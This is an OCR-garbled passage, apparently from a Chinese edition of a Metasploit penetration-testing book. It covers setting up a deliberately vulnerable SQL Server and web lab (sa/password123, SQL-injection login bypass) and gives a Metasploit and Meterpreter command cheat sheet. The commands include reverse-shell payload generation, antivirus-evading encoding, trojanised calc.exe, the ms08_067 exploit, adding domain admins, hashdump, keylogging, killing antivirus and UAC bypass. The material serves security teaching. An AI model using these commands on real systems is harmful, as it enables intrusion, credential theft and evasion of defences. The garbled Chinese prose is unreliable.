3. I&#F Management and Monitoring Tools HEHEH: H S OK #41. BRIAER T, 2%
] 5 Y 28 B B ML (SNMP) 1 Windows Management Interface (WMI) SNMP Provider.

4. riili Next #ZHI e %, BIFERBPLE.

A RELTRLENARAIRS, BEEEBTEAR. 1S RS % AFHRET—AMWLE, fE
fE http://www.secmaniac.com/files/nostarchl.zip F#. FTP R4 SCH4F % Windows FTP [ Y,
# H. SNMP FCE A2 S /RHIR Metasploit o (% Bh S £

A.3.2 E3ISQLERS:SE

Metasploit #1 Fast-Track {2 3038 FEAR HLIE LA Microsoft SQL Server 2 AR K, B7 LR
wi B 242 SQL Server 2005 Express, AJLLM Microsoft % %78 5|, A S —8, RalLl7Z
http://www.microsoft.com/fR EIRIT R %% T RRAR) SQL Server Express. T %3 SQL Server
Express, 1R %5 %% Windows Installer 3.1 F1.NET Framework 2.0. YRAELE LUF M Bk 3% 31| 4 71 By
ARERRERE, URABHHMS K URL. http://www.secmaniac.com/files/nostarchl zip .
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-BRE TR %E&M, 1T SQL Express installer HiEF A IR NEITER T
Authentication Mode. %% Mixed Mode, W& — sa FEM D4 password123, F HAREL %4 .

SQL Server BXR LI TTRLZ G, RTEXN KM —L/ ik e ge i R Mg .

1. #%#% Start->All Programs->Microsoft SQL Server 2005->Configuration Tools, %X J5i£# SQL
Server Configuration Manager.

2. MALEEEBFN, P SQL Server 2005 Services, FHBAIRAEIEFF SQL Server

(SQLEXPRESS), #£#f Stop.

3. & 7T SQL Server 2005 Network Configuration Manager 311 #¢ Protocols for SQLEXPRESS,

i A-1 Fros.

& SO Nerwveds l:llll“!-'_lll.hlillll M gt

File Action View Help

= O FRE @

Y SOL Server Configuration Manager (Local) Prot ool Kame SEahS

SOL Server 2005 Servces T~ shared Memory Enabled
- SOL Server 2005 Nebwork Configurahon T Named Pypes Disabled
EF- 1ok oe 5 LEFRES] R Disabled

+ B SOL Native Chent Configuration

B A-1 SQLEXPRESS Rl

4. Xl TCP/IP, TEWMYARE, 1 E Enabled & Yes 3+ Hi& & Listen All 24 No-

5. T, &AE TCP/IP BYEXHEHE, ¥FF IP Addresses PREEH MR IPALL FAIE%&H.
7€ 1P1 BR IP2 F, MER TCP Zha&4 D A{EH R E A Active, Hf Enabled # L E A Yes.

6. HJa, WE IP1 K IP Hibl 59827 i s B AES IP 48ULAC, B 1P2 Mihboh 127.0.0.1,
HHBE SN TCP % A4 1433, VR E N ZEERK S WE A-2 Froamael, Mk
B e fa R OK %4l

T—#, REAF SQL Server I K 28RS -

1. %+ SQL Server 2005 Services 3+ H X7 SQL Server Browser.

2. TFRFHRED, W®E Start Mode 4 Automatic.
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TCPAP Properties

Protocol | IP Addresses |
[;ET-W: ' 1
Enabled Yes I
IP fddress 192.168.1.155 ;
TCP Dvnamic Port s
TCF Port 1433
B ip2
At ree Yes N
Enabled Yes
IP Address 127.0.0.1
TCP Dynamic Ports ;
. TCP Port 1433 :
B ey 1
TCP Dynamic Ports i
TCP Port E
!
Active i
| | Indic stes whether the selected 1P Address is active, '
o || corcel |

 A-2 & TCPAP a4 1 iHHe b i B SQL AR 9535 1P Hhik

BOAEH T, SQL RSB 7R R MR FSK S TiEfT, XEMRFARE. Amm, &
TFRAVAT TR S E SR, HEERF e, BEALESHTXNERE, h
AL 1) 25 YA e B PR T A )

EREAHARRES L, BRI SQL Server Browser iR 4% Bi54T R4 4% SYSTEM AR ipk
5 k. KEa RS0k SQL Server AR5 LAAH ARG B %, XEERAR Microsoft SQL Server
(2000 FISE RLRRA) MIBRIAECE . Bk, #RMNAXFESA P, Wi SQL Server (SQLEXPRESS)H:
#WHE Log on as J Local System, SEZ /G RiifiE. REH BB A®E Sd SQL Server
(SQLEXPRESS)H H i #¢ start. X} SQL Server browser #E1T R FE AL H

5, R} RCE F B Al Ay AT R AR T H IR B 7E LR, 1 FF @247 1247 4 netstat
-ano |find "1433"F netstat -ano |find "1434". {RZATECE K IP Huht N iZ7E TCP 36 1 1433 F
UDP ¥ ] 1434 |Wr 3|, WF FroR:

Microsoft Windows XP [Version 5.1.2600]
© Copyright 1985-2001 Microsoft Corp.

C:\Documents and Settings\Administrator>netstat -ano |find "1433"

TCP 127.0.0.1:1433 0.0.0.0:0  LISTENING 512
TCP 192.168.1.155:1433 0.0.0.0:0 LISTENING 512
C:\Documents and Settings\Administrator>netstat -ano |find "1434"

UDP 0.0.0:1434 ¥ %

C:\Documents and Settings\Administrator>
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A.3.3 fIZFRFRY Web A

R T 4 ¥ £ Metasploit 1 B2 ksE, LA A% Fast-Track 1 Social-Engineer Toolkit (SET)—
FEROANGR TR, PREZER I Web N R LR ET. 24 T CIREIRFERNER, F F B 25
SQL Server Management Studio Express.

ZHRSCHEIIFIERERA, #HITW TP R,

1. M Server 2005->SQL Server Start->All Programs->Microsoft SQL Management S tudio

Express A Zh2F .
2. YRR S 50AERT, IEFE Authentication T $7 3 Hh[¥) SQL Server Authentication ZETH,
FIEM H P 4 sa FIF S passwordl .

3. TEXNZ WD, A4 Databases Ji£#F New Database.
4. B LN WebApp H s i g 4L,
5. FEITEIE R WebApp HE ERNR % .
6. H B bRA 8 Al Tables 8 %% New Table. ¥ F &4 4 users, A A-3 i
By ERERY,
Table - dbo.users | Summary v X _
Colutmn Name Data Type Allow Nl | [Tbi] dbo.users

oipund et 8adenvy)

st __num: varchar({S0) [+] | _ {H.'-l."r'ii.

midde_name varchar(50) Descrpton

B Phinted varchan) ' 5 || Schema oo
B A-3 users %%

7. fR7F users &, HHA#HHE, %EFF Open Table,
8. FHIALTmE A-4 Fronh R L EIBIHTE R, KRR,

1 Table .I:.:HJ.Irl.I:rll_.]ﬂﬂl:.'Eh:I.Lwi F Summary | v X
juserid Juseneme (festnems  lstnewe mddename  pesswod
Fi admn achmen adhmin admin s3cr it
f'.-? Emith johin smith Biory passward
i riohrson robert james ichnsan 11337

e | N ML nEAL Mkt AEAL ALEL

M A-4 L users &

9. BIHXH NS T A Security BPIRE, #RJ5EFF Logins.

10. fEA P RS DA S Logins FF1%# New Login. 7ZEIEM & 1, s Search, A
ASPNET, #RJ5 /s Check Names. 5E¥H 7 2N Z BB 17, Rbfii Ll & JT
RAFP#EE.

11. BjE, HRERAPEMEE O, %EFF User Mapping, EFFERFH WebApp HIE KM, &
#£ db_owner fit?, J¥H sy OK #%4l.
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Web [ B #2 ¥ 10 5248 0 B S B 7F SQL R imikiT, {R4FIFiRH Management Studio. Jiif %
R A — NS R S RE LA BB Y AR B, b RIS EE T AR,

1. MELTF Mt http://www.secmaniac.com/files/nostarchl.zip F 8 AG&HEH Web N, H4%
AN A E F) 3] C:\Inetpub\wwwroot\ F o

2. TIPS B8 HIR W hetp://< 7 H] ip #ihif>/Default.aspx. VREFR—MEFER, W
A-5 B,

3. AR SELERK SQL Bl R IEFHATH . S S8R AR SQL ¥ AJKHi & M it
NMAIEEEZTT . AP ZRESA—NRE5 ), MAEM R SEENS. WY
M-SR — SQL AR R BT H .

4. RN FRTCLIFRIA OR [=1, HFHMAFMEAARERXE. RESEH “FR
CEERINER” HIBR.

MBERCELERX AT, WHMEEH O EMRECER T, RAERTFHEEAT .

P A-5 BRI T T

A.4 % Back|Track

i SEPRTEATLT e tE RS T IZ21T 1) Back|Track F1 T HAPR BB AN . 248 5 % Back|Track
(root/toor) B, 24T F M4

root@t:~# apt-get update & apt-get upgrade 8& apt-get dist-upgrade
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X —F| fn S K2 L FE BT A A Back|Track 8 #T. MR R 2 SVN iEFBat4iA y
B, fROZEH T Back|Track. {EERRIRFEVIARTHE L4 Metasploit. Fast-Track. H SET
TREAEZRRKREER.

0 root@bt:~# cd /opt/framework3/msf3/
® root@bt:/opt/framework3/msf3# msfupdate

L L ] SHI P - - -

Updated to revision XXXX.
© root@bt:/opt/framework3/msf3# cd /pentest/exploits/set/
root@bt:/pentest/exploits/set# svn update

.S'HIP- ] L
Updated to revision XXXX.
© root@bt:/pentest/exploits/set# cd /pentest/exploits/fasttrack/
root@bt:/pentest/exploits/fasttrack# svn update
. SNIP .

At revision XXXX.
root@bt:/pentest/exploits/fasttrack#

£ Back|Track J', Metasploit 7 F/opt/framework3/msf3/@®, FrLAZEf T msfupdate® T i HE
BarsevigBzEXT.

— H Metasploit DLEH T, % H K E/ pentest/exploits/SET/@FFIZAT svn update. 5 JS,
4% H 3g 2/pentest/exploits/fasttrack/@ 3+ # ¥ Fast-Track.

RIFEC LB I EFH T ABRRRREE, 7 UEXNHFEFREHEN R,
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LLF 2 Metasploit HESR 1% Fii O 5B P R E ARG MEZES%, LR Meterpreter
FRENAMB@SS%E, RH—% ‘B4 GBS XKERIRKEG S B,

B.1 MSF Z&ix&Hd

show exploits

5| i Metasploit fES2H () Br 7 12 % Bl e
show payloads

31| th Metasploit HEZEH BT 47 B B v 81y .
show auxiliary

¥l ) Metasploit 425 1) By #7 4ifi Bh B p B,

search name

A R Metasploit HEAE T AT K2 B B A H A BB,
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info

FE 7 Hi 1l 58 12 B M BRAR R HO M KA R

use name

P BERGREEAD (Fli: {#H windows/smb.psexec).

LHOST

PRA M A LALE H b EHUERRS 1P #hhl, @5 2 HA3 EVAER — /REm A e, sk E-
PRICHT 1P Hehk, FRR O B R shell £ .

RHOST

ZFEEPLERA Hbr M.

set function

WEFFENREZSH (Flw: BEFEEAETEISHD.

setg function

iR ARERFEMNEESH (Pl #BAmlaiE EVs%0.

show options

P RSB FE NG SRR Y AN E S 5.

show targets

FIHBE B T X FR B & .

set target num

FRSEVRATANIE B H bR A ERAE R LA AN T AR A HAY,

set payload payload

i AUE A ) B B

show advanced

S BT A e R R BT

set autorunscript migrate -f.

EB BB e a, ¥ AsEB R 5 — i,

check

K H br 2 Xk E BB B AN 2 2R

exploit

AT 1515 Bk B PR Mok H AR

exploit -j

e MRS Tl fTedE s (EHERER 63T,

exploit -z

BHEB N EA S 2T .

exploit -e encoder

I R BE A e S 7 2 (Blf: exploit -e shikata_ga nai).

exploit -h

51! exploit #r4 HIH Bh{E B

sessions -1

FIH AT B &1l (TELFZ 4 shell B fEHD.,
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sessions -] -v

I A TS =i AR 2GRS R, Bl BERERER 7Tl L2,
sessions -s script

TET B % K HY Meterpreter 221 HiE4T-— M5 5 (] Meterpreter JIAS .

sessions -K

ARVCITAIE KA B2

sessions -¢ cmd

TEFTA W KB Meterpreter 315 _EHAT — 4.

sessions -u sessionID

F4— - f) Win 32 shell ] Meterpreter shell.

db_create name

G — N PR B Bh I o T A R EE (Bildn: db_creat autopwn).
db_connect name

I ER D EIRE W) BT B M BAEE (Btn: db connect autopwn).
db_nmap

A nmap JHEFR MBI AA AR ES CIEFEEN nmap 592, H/0: -sT -v -P0).
db_autopwn -h

JEH db_autopwn s 2RI BIE R

db_autopwn -p -r -e

X B A R BRI G T 44T db_autopwn , BEFTA RS, HAEH -4 R shell.
db_destroy

TR ok =1 v R

db_destroy user:password@host:port/database

58 FH v 45 326 TR A o 548 1

B.2 Meterpreter g%

help

¥T 7 Meterpreter 1 F 75 B .

run scriptname

IZ1T Meterpreter fiA%, 7E scripts/meterpreter H3# T Al & & 2 A% .
sysinfo

FIH 2R FHRREE R

Is

S H AR EVLRI ORI 3245 B
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use priv

MEFFBIR T IR, KF' & Meterpreter fF.

ps

SRR T IB AT RERE LA S SR T K

migrate P1D

T B —NE E R ID (PID ST ps dr4 M B EHL LIRS,
use incognito

In# incognito Thak (HIRIEEG Hir EVESBEEBE R,
hist_tokens -u

FIH Hbs EHLA P H ) 2R

list_tokens -g

1|t B Ax EHLA P AR R 2R

impersonate_token DOMAIN_NAMEWUSERNAME
iR E HAsEHL B 0] 4.

steal token PID

i Pi e e R H ] B S R T AT S R E .
drop_token

{5 (BB 22

getsystem

A AP T )RR R R AR SR AR

shell

LR ] & i SRIZ AT — AN 2C B Shell

execute -f cmd.exe -i

AT emd.exe a2 HFHITAZ ..

execute -f cmd.exe -i -t

WU AT 2 MR PAT emd a2 .

execute -f cmd.exe -i -H -t

CABT A ] 4 HEHAT emd a4 IR LZ SR
rev2self

EIEIEAE ISR 73 IR EIL ) SE Ml

reg command

£ B EPNEM RSP BRITAZR, -, BBk, EHSRE.
setdesktop number

V1B S — AP R E GEIhReETEER P 283D,

screenshot

Xt H AR EHLE AT H R
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upload file

(] HFR AL A% S0

download file

MEBRENFESCH

keyscan_start

ErXTRE 2 H R EVLIF/E # i ic R DR
keyscan_dump

A0 B br E AL LR R A oK
keyscan_stop

& %X H AR AL B AL e R
getprivs

AT RE 2 RIEREL H b5 AL L IR AL
uictl enable keyboard/mouse

L H b E B A0 bR .
background

FHUR 2370 ) Meterpreter shell # 4 J5 € 4T
hashdump

T B r B R LA E.

use sniffer

IR .

sniffer_interfaces

F i B s EVLITA IR M3 0.
sniffer_dump interfacelD pcapname

fE H AR EFL LG s .

sniffer_start interfacelD packet-buffer
£ H AR Ao 5 Vi R A0 40 e 28 e X B IRR
sniffer_stats interfacelD

FRER 1E AF Sk T 2R W 48 8 1 B 4 v 408
sniffer stop interfacelD

1 IEMR £ .

add_user username password -h ip
FEZFE B b EHL Edin—AF P
add_group_user "Domain Admins" username -h ip

RN AR AU R R

clearev

B s EHL BB R EIC .

timestomp

esccf s, Hlasscct eI R (RBUEIFE).
reboot

HS HrEML

MEB @WeBETIE
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B.3 MSFpayload %

msfpayload -h

MSFpayload ) #5Bi{5E B -

msfpayload windows/meterpreter/bind_tcp O

A1) HH B A3 AT B Bk ey

msfpayload windows/meterpreter/bind_tcp O.

1| BT f windows/meterpreter/bind tcp FIEHIRATAIACE TN (FEAR] Brdi gy #6527 LARCEE #YD .

msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.1.5 LPORT=443 X >

payload.exe

i —4> Meterpreter [1] reverse_tcp Blili#ifiy, [Bi% %] 192.168.1.5 { 443 35 [, K HARIF A
4 4 payload.exe ) Windows A fT#E/F .

msfpayload windows/meterpreter/reverse tcp LHOST=192.168.1.5 LPORT=443 R >

payload.raw

5 i BIRIRE B B, (HS H UR AR RIS, 2O H AR /S TR MSFencode HH 18R] .
msfpayload windows/meterpreter/bind_tep LPORT=443 C > payload.c

5 L4 B FFF i BT, B3 H AL C #3UHY shellcode.

msfpayload windows/meterpreter/bind _tcp LPORT=443 J > payload.java

7 B L% dehS Jr ) JavaScript 155 T .

B.4 MSFencode i %

msfencode -h

%\ H MSFencode H1# 8115 8.

msfencode -1

Il AT w] B b 8%

msfencode -t (c, elf, exe, Java, Js_le, js_be, perl, raw, ruby, vba, vbs,

loop-vbs, asp, war, macho)

R M X B RN .

msfencode -i payload.raw -o encoded_payload.exe -¢ x86/shikata_ga nai-c 5

-t exe

{# H] shikata ga nai 450528 X% payload.raw CAFiHAT 5 K&, RESFH 14 A
encoded payload.exe f) 34 .

msfpayload windows/meterpreter/bind_tcp LPORT=443 R | msfencode -e x86/

_countdown -c S -t raw | msfencode -e x86/shikata_ga nai-c 5 -t exe -0

multi-encoded payload.exe

G- P gwboig R E D A B B .

msfencode -i payload.raw BufferRegister=ESI -e x86/alpha_mixed -t ¢
fi) g — N2l F B ) shellcode, B ESI #F 774345 [ shellcode, LA CiEFHAHH .
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B.5 MSFcli 8%

msfcli | grep exploit

N F 2B B .

msfcli | grep exploit/windows

N5t 5 Windows HC VB FE B R .

msfcli exploit/windows/smb/ms08_067 netapi PAYLOAD=

windows/meterpreter/bind_tcp LPORT=443 RHOST=172.16.32.142 E

X} 172.16.32.142 K& ms08_067_netapi 25X i, ALE T bind_tcp i, H4P e 443
I 134T MWy

B.6 Metasploit 52K

msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.1.5 LPORT=443 R |

msfencode -x calc.exe -k -0 payload.exe -e x86/shikata_ga nai -c 7 -t exe

B — A~ R 5 50T Meterpreter B 8057, [AIEF] 192.168.1.5 EHLH 443 3 11, /# A calc.exe
YEREET AT TIER, B PITH — EZ T EEBCE NN HRF R, B/E4 ML shikata_ga nai
Y 10 8% At I B9 BUh BT e AT R/ payload.exe.

msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.1.5 LPORT=443 R |

msfencode -x calc.exe -0 payload.exe -e x86/shikata ga nai-c 7 -t exe

B2 — > [ ¥ XA Meterpreter BUdi 8T, [FIEF] 192.168.1.5 LHLHY 443 35 0, fEA] calc.exe
VR GT Ja T1ERF, AUBHIATR —HETERE RGN HEFS, RN ERGRERITE
WASEHREN EREEfE B XMHECEEFHEH, Aol x WaBRREERE T8 EH,
HAMIL B IT A R b H P AT . [RIPE, B8 )54 i H .shikata ga nai ZRFS T 3%
i FE P payload.exe.

msfpayload windows/meterpreter/bind_tcp LPORT=443 R | msfencode -o payload.exe

-e¢ x86/shikata_ga nai -c 7 -t exe & & msfcli multi/handler PAYLOAD=windows/

meterpreter/bind_tcp LPORT=443 E

) —> raw #3LH) bind_tep #E Meterpreter B #iff, H shikata ga nai 4852 7 X, %
tH LA payload.exe fit % i) Windows RJ AT 304, AR 13 B 2 B JA T 5 AT 4T

B.7 MSFvenom
A MSFvenom, —/MEREM, Sl MgLIR B8R,

msfvenom --payload

windows/meterpreter/reverse_tcp --format exe --encoder x86/shikata ga nai
LHOST=172.16.1.32 LPORT=443 > msf.exe

[*] x86/shikata_ga_nai succeeded with size 317 (iteration=1)
root@t://opt/framework3/msf3#

X AT a2 BUAT AG R — B B 3 B 37 4 a7 S0 R
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B.8 Meterpreter BiZBEREMEE B S
7F Windows FEAHL F4# H Meterpreter #EATHRALERTE

meterpreter > use priv
meterpreter > getsystem

M5 E RERE ID PO — /N B AL, VNN T, R T BN 2
BEHRHAP.

meterpreter > ps

meterpreter > steal token 1784
meterpreter > shell

C:\Windows\system32>net user metasploit p@s55wOrd /ADD /DOMAIN
C:\Windows\system32>net group "Domain Admins" metasploit /ADD /DOMAIN

M SAM E P b T S e A (.

meterpreter » use priv
meterpreter > getsystem
meterpreter > hashdump

{B7R: f£ Windows 2008 ¥, 4oR getsystem 47 4~#= hashdump 4~ FF HLe, 1RE
it A35]|—/A L SYSTEM £ AL fRIEATHY HAL P,

HalEB ] DAL

meterpreter > Tun migrate

W8 Meterpreter #] killav A=K R 5L B b5 EHLEIT IR TR

meterpreter > run killav

FEX— M5 2 R EEAR 3R B AR AL R BEAC X

meterpreter > ps
meterpreter > migrate 1436
meterpreter > keyscan_start
meterpreter > keyscan_dump
meterpreter > keyscan_stop

EHEA T ARBEEER:

meterpreter > use incognito
meterpreter » list_tokens -u
meterpreter > use priv
meterpreter > getsystem
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meterpreter > list_tokens -u
meterpreter > impersonate_token IHAZSECURITY\\Administrator

BH AR EHUVECREC T AR Le i R b, P B, SCPART g Ll R e A1 R BB
ETA =D

meterpreter > rxun getcountermeasure
meterpreter > run getcountermeasure -h
meterpreter > run getcountermeasure -d -k

R ERIR FEILE S & —E6 B,

meterpreter > run checkvm

fE—> Meterpreter <1 57 i P f# FH cmd shell.

meterpreter > shell

REH tx EVRIEFE R (VNC) .

meterpreter > run wvnc

{# IEZFIZ1T I Meterpreter 7L )G £ 1T .

meterpreter » background

et Windows B H Pk P #84] (UAC) ML

meterpreter » run post/windows/escalate/bypassuac

FHIER OS-X REEH 04551,

meterpreter > run post/osx/gather/hashdump

T Linux REEH 040G AH{E.

meterpreter > run post/linux/gather/hashdump
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